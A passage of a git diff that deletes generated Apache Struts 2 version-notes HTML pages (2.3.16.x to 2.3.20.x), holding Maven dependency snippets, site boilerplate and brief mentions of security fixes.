-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.16.2-InternalChanges">Internal Changes</h2><ul><li><span style="color: rgb(34,34,34);"><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Improves excluded params to avoid ClassLoader manipulation via ParametersInterceptor</span></li><li><span style="color: rgb(34,34,34);"><img cla [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23163.html b/content/docs/version-notes-23163.html
deleted file mode 100644
index 261c8d9..0000000
--- a/content/docs/version-notes-23163.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.16.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23163.html">Version Notes 2.3.16.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.16.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40511492">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40511492">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40511492">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40511492">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40511492">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40511492">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.16.3 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-em [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.16.3&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: bash; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.16.3-InternalChanges">Internal Changes</h2><ul><li><span style="color: rgb(34,34,34);"><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)">&#160;Extends excluded params to avoid manipulation of Struts' internals via CookieInterceptor</span></li></ul><h3 id="VersionNotes2.3.16.3-IssueDetai [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-2320.html b/content/docs/version-notes-2320.html
deleted file mode 100644
index b45539b..0000000
--- a/content/docs/version-notes-2320.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.20</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-2320.html">Version Notes 2.3.20</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.20</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40506670">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=40506670">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40506670">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=40506670">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40506670">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=40506670">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.20 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.20&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.20-InternalChanges">Internal Changes</h2><ul><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> Merged security fixes from version 2.3.16.1,&#160;2.3.16.2,&#160;2.3.16.3</li><li><img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636 [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23201.html b/content/docs/version-notes-23201.html
deleted file mode 100644
index 3de48b2..0000000
--- a/content/docs/version-notes-23201.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.20.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23201.html">Version Notes 2.3.20.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.3.20.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56068280">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56068280">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56068280">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56068280">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56068280">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56068280">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.3.20 distribution.</p><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emot [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-  &lt;version&gt;2.3.20.1&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>You can also use Struts Archetype Catalog like below</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Struts Archetype Catalog</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: text; gutter: false; theme: Default" style="font-size:12px;">mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Staging Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.nexus&lt;/id&gt;
-    &lt;name&gt;ASF Nexus Staging&lt;/name&gt;
-    &lt;url&gt;https://repository.apache.org/content/groups/staging/&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div><h2 id="VersionNotes2.3.20.1-InternalChanges">Internal Changes</h2><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This release contains fix related to <a shape="rect" href="s2-024.html">S2-024</a> security bulletin, please read it carefully!</p></div></div><div class="confluence-information-macro con [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-23203.html b/content/docs/version-notes-23203.html
deleted file mode 100644
index d14a3c0..0000000
--- a/content/docs/version-notes-23203.html
+++ /dev/null
@@ -1,169 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.3.20.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-23203.html">Version Notes 2.3.20.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
